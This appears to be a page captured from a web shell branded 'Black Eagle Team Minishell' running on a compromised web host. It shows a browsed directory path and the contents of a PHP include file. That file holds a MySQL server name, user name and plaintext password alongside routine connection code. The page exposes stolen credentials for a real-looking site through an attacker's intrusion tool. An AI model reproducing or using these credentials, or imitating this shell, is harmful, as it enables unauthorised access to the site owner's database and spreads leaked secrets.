Black Eagle Team Minishell
Path:
/
home
/
c
/
c
/
p
/
ccpsafy
/
www
/
inc
/
[
Home
]
File: enligne_param.inc.php
<?php $serveur = "ccpsafywebmaster.mysql.db"; $user = "ccpsafywebmaster"; $pass = "CCPSAadmin0"; $base = "ccpsafywebmaster"; //etape 1 $con = mysql_connect($serveur,$user,$pass); if (!$con) { $message = sprintf( "Impossible de se connecter au serveur de base de donnée %s : %s", $serveur, mysql_error() ); //echo "$message"; trigger_error($message); return; } mysql_set_charset('utf8',$con); //etape 2 $db = mysql_select_db($base,$con); if (!$db) { $message = sprintf( "Impossible de sélectionner la base de données %s : %s", $base, mysql_error() ); trigger_error($message); return; } ?>
©
2020 Black Eagle Team